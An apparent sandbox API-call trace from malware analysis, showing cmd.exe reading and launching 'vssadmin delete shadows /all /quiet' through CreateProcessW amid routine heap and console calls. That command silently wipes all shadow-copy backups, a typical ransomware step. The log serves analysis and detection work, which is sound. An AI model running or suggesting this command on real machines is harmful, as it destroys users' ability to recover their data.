	[0248.074] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.074] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0248.074] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.074] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.074] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.074] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce360, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0248.075] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.075] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.075] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.075] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce362, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0248.075] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.075] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.075] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.075] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce364, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0248.075] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.075] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.075] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0248.075] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0248.075] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.075] GetFileType (hFile=0xe8) returned 0x3
	[0248.075] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0248.075] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0248.075] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0248.075] GetFileType (hFile=0xf4) returned 0x3
	[0248.075] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0248.075] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4accc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37
	[0248.075] WriteFile (in: hFile=0xf4, lpBuffer=0x4accc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x12f498, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesWritten=0x12f498*=0x24, lpOverlapped=0x0) returned 1
	[0248.075] GetProcessHeap () returned 0x220000
	[0248.075] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x4012) returned 0x241010
	[0248.075] GetProcessHeap () returned 0x220000
	[0248.075] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x241010 | out: hHeap=0x220000) returned 1
	[0248.076] GetProcessHeap () returned 0x220000
	[0248.076] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xb0) returned 0x239840
	[0248.076] GetProcessHeap () returned 0x220000
	[0248.076] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x22) returned 0x234630
	[0248.076] GetProcessHeap () returned 0x220000
	[0248.076] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x48) returned 0x240090
	[0248.076] GetConsoleOutputCP () returned 0x4e3
	[0248.076] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4accbfe0 | out: lpCPInfo=0x4accbfe0) returned 1
	[0248.077] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0248.077] GetConsoleTitleW (in: lpConsoleTitle=0x12f450, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0248.077] GetProcessHeap () returned 0x220000
	[0248.077] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x218) returned 0x23aae0
	[0248.077] GetProcessHeap () returned 0x220000
	[0248.077] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x5a) returned 0x239a50
	[0248.077] GetProcessHeap () returned 0x220000
	[0248.077] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x420) returned 0x23b9a0
	[0248.077] SetErrorMode (uMode=0x0) returned 0x0
	[0248.077] SetErrorMode (uMode=0x1) returned 0x0
	[0248.077] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x23b9b0, lpFilePart=0x12ece0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x12ece0*="system32") returned 0x13
	[0248.077] SetErrorMode (uMode=0x0) returned 0x1
	[0248.077] GetProcessHeap () returned 0x220000
	[0248.077] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x23b9a0, Size=0x4a) returned 0x23b9a0
	[0248.077] GetProcessHeap () returned 0x220000
	[0248.077] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b9a0) returned 0x4a
	[0248.077] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4acbf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0248.077] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0248.077] GetProcessHeap () returned 0x220000
	[0248.077] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x104) returned 0x235bb0
	[0248.077] GetProcessHeap () returned 0x220000
	[0248.077] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1f8) returned 0x23ba00
	[0248.077] GetProcessHeap () returned 0x220000
	[0248.077] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x23ba00, Size=0x106) returned 0x23ba00
	[0248.077] GetProcessHeap () returned 0x220000
	[0248.077] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ba00) returned 0x106
	[0248.077] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4acbf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0248.077] GetProcessHeap () returned 0x220000
	[0248.078] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xe8) returned 0x239c60
	[0248.078] GetProcessHeap () returned 0x220000
	[0248.078] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x239c60, Size=0x7e) returned 0x239c60
	[0248.078] GetProcessHeap () returned 0x220000
	[0248.078] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x239c60) returned 0x7e
	[0248.078] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0248.078] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x12ea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ea50) returned 0x235cc0
	[0248.078] FindClose (in: hFindFile=0x235cc0 | out: hFindFile=0x235cc0) returned 1
	[0248.078] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x12ea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ea50) returned 0xffffffffffffffff
	[0248.078] GetLastError () returned 0x2
	[0248.078] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x12ea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ea50) returned 0x241040
	[0248.078] FindClose (in: hFindFile=0x241040 | out: hFindFile=0x241040) returned 1
	[0248.078] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0248.078] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0248.078] GetConsoleTitleW (in: lpConsoleTitle=0x12efa0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0248.078] GetProcessHeap () returned 0x220000
	[0248.078] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x21c) returned 0x23bb20
	[0248.078] GetConsoleTitleW (in: lpConsoleTitle=0x23bb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0248.078] GetProcessHeap () returned 0x220000
	[0248.078] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x23bb20, Size=0xa2) returned 0x23bb20
	[0248.078] GetProcessHeap () returned 0x220000
	[0248.079] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bb20) returned 0xa2
	[0248.079] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - vssadmin  delete shadows /all /quiet") returned 1
	[0248.079] GetProcessHeap () returned 0x220000
	[0248.079] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb20 | out: hHeap=0x220000) returned 1
	[0248.079] InitializeProcThreadAttributeList (in: lpAttributeList=0x12ed58, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x12ed18 | out: lpAttributeList=0x12ed58, lpSize=0x12ed18) returned 1
	[0248.079] UpdateProcThreadAttribute (in: lpAttributeList=0x12ed58, dwFlags=0x0, Attribute=0x60001, lpValue=0x12ed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x12ed58, lpPreviousValue=0x0) returned 1
	[0248.079] GetStartupInfoW (in: lpStartupInfo=0x12ee70 | out: lpStartupInfo=0x12ee70*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) 
	[0248.079] GetProcessHeap () returned 0x220000
	[0248.079] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x20) returned 0x234660
	[0248.079] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38
	[0248.079] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0248.079] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0248.079] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0248.079] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0248.079] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0248.079] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0248.079] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0248.079] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0248.079] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0248.079] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0248.079] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0248.079] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0248.080] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0248.080] GetProcessHeap () returned 0x220000
	[0248.080] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x234660 | out: hHeap=0x220000) returned 1
	[0248.080] GetProcessHeap () returned 0x220000
	[0248.080] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x12) returned 0x239ac0
	[0248.080] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x12ed90*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin  delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x12ed40 | out: lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessInformation=0x12ed40*(hProcess=0x50, hThread=0x54, dwProcessId=0x664, dwThreadId=0x668)) returned 1
	[0248.088] CloseHandle (hObject=0x54) returned 1
	[0248.088] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0248.088] GetProcessHeap () returned 0x220000
	[0248.088] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f4e0 | out: hHeap=0x220000) returned 1
	[0248.088] GetEnvironmentStringsW () returned 0x2389c0*
	[0248.088] GetProcessHeap () returned 0x220000
	[0248.088] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xb22) returned 0x23e9b0
	[0248.088] FreeEnvironmentStringsW (penv=0x2389c0) returned 1
	[0248.088] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x12e648, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x12e648, ReturnLength=0x0) returned 0x0
	[0248.088] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffde000, lpBuffer=0x12e680, nSize=0x380, lpNumberOfBytesRead=0x12e640 | out: lpBuffer=0x12e680*, lpNumberOfBytesRead=0x12e640*=0x380) returned 1
	[0248.088] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0
	[0251.895] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x12ec88 | out: lpExitCode=0x12ec88*=0x2) returned 1
	[0251.895] CloseHandle (hObject=0x50) returned 1
	[0251.895] _vsnwprintf (in: _Buffer=0x12eef8, _BufferCount=0x13, _Format="%08X", _ArgList=0x12ec98 | out: _Buffer="00000002") returned 8
	[0251.895] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0251.895] GetProcessHeap () returned 0x220000
	[0251.895] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23e9b0 | out: hHeap=0x220000) returned 1
	[0251.895] GetEnvironmentStringsW () returned 0x2389c0*
	[0251.895] GetProcessHeap () returned 0x220000
	[0251.895] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xb22) returned 0x23e9b0
	[0251.895] FreeEnvironmentStringsW (penv=0x2389c0) returned 1
	[0251.895] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0251.895] GetProcessHeap () returned 0x220000
	[0251.895] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23e9b0 | out: hHeap=0x220000) returned 1
	[0251.895] GetEnvironmentStringsW () returned 0x2389c0*
	[0251.895] GetProcessHeap () returned 0x220000
	[0251.895] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xb22) returned 0x23e9b0
	[0251.895] FreeEnvironmentStringsW (penv=0x2389c0) returned 1
	[0251.895] GetProcessHeap () returned 0x220000
	[0251.895] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x239ac0 | out: hHeap=0x220000) returned 1
	[0251.895] DeleteProcThreadAttributeList (in: lpAttributeList=0x12ed58 | out: lpAttributeList=0x12ed58) 
	[0251.895] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1
	[0251.896] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0251.896] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0
	[0251.896] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0251.896] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4acbe194 | out: lpMode=0x4acbe194) returned 0
	[0251.896] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0251.896] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4acbe198 | out: lpMode=0x4acbe198) returned 0
	[0251.896] GetConsoleOutputCP () returned 0x4e3
	[0251.896] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4accbfe0 | out: lpCPInfo=0x4accbfe0) returned 1
	[0251.896] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0251.897] GetProcessHeap () returned 0x220000
	[0251.897] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x239c60 | out: hHeap=0x220000) returned 1
	[0251.897] GetProcessHeap () returned 0x220000
	[0251.897] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba00 | out: hHeap=0x220000) returned 1
	[0251.897] GetProcessHeap () returned 0x220000
	[0251.897] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235bb0 | out: hHeap=0x220000) returned 1
	[0251.897] GetProcessHeap () returned 0x220000
	[0251.897] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9a0 | out: hHeap=0x220000) returned 1
	[0251.897] GetProcessHeap () returned 0x220000
	[0251.897] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x239a50 | out: hHeap=0x220000) returned 1
	[0251.897] GetProcessHeap () returned 0x220000
	[0251.897] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23aae0 | out: hHeap=0x220000) returned 1
	[0251.897] GetProcessHeap () returned 0x220000
	[0251.897] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x240090 | out: hHeap=0x220000) returned 1
	[0251.897] GetProcessHeap () returned 0x220000
	[0251.897] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x234630 | out: hHeap=0x220000) returned 1
	[0251.897] GetProcessHeap () returned 0x220000
	[0251.897] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x239840 | out: hHeap=0x220000) returned 1
	[0251.897] _vsnwprintf (in: _Buffer=0x4acd6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x12f1b8 | out: _Buffer="\r\n") returned 2
	[0251.897] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0251.897] GetFileType (hFile=0xf4) returned 0x3
	[0251.897] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0251.897] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4accc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0251.897] WriteFile (in: hFile=0xf4, lpBuffer=0x4accc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12f188, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesWritten=0x12f188*=0x2, lpOverlapped=0x0) returned 1
	[0251.897] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4acbf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0251.897] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4accc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0251.897] _vsnwprintf (in: _Buffer=0x4acbeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x12f1c8 | out: _Buffer="C:\\Windows\\system32") returned 19
	[0251.898] _vsnwprintf (in: _Buffer=0x4acbeb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x12f1c8 | out: _Buffer=">") returned 1
	[0251.898] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0251.898] GetFileType (hFile=0xf4) returned 0x3
	[0251.898] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0251.898] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4accc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0251.898] WriteFile (in: hFile=0xf4, lpBuffer=0x4accc320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x12f1b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesWritten=0x12f1b8*=0x14, lpOverlapped=0x0) returned 1
	[0251.898] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0251.898] GetFileType (hFile=0xe8) returned 0x3
	[0251.898] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0251.898] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0251.898] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0251.898] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce320, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1
	[0251.898] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0251.898] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0251.898] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0251.898] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce322, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1
	[0251.898] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0251.898] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0251.898] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0251.898] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce324, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1
	[0251.898] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0251.898] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0251.898] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0251.898] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce326, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1
	[0251.898] _get_osfhandle (_FileHandle=0) returned 0xe8
